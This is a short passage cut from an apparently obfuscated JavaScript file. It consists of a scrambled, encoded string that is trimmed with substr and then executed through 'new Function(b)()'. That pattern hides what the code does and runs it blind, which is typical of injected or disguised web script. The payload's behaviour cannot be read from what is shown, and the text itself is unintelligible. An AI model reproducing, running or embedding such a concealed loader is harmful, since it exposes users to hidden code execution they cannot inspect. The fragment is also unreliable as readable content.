]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();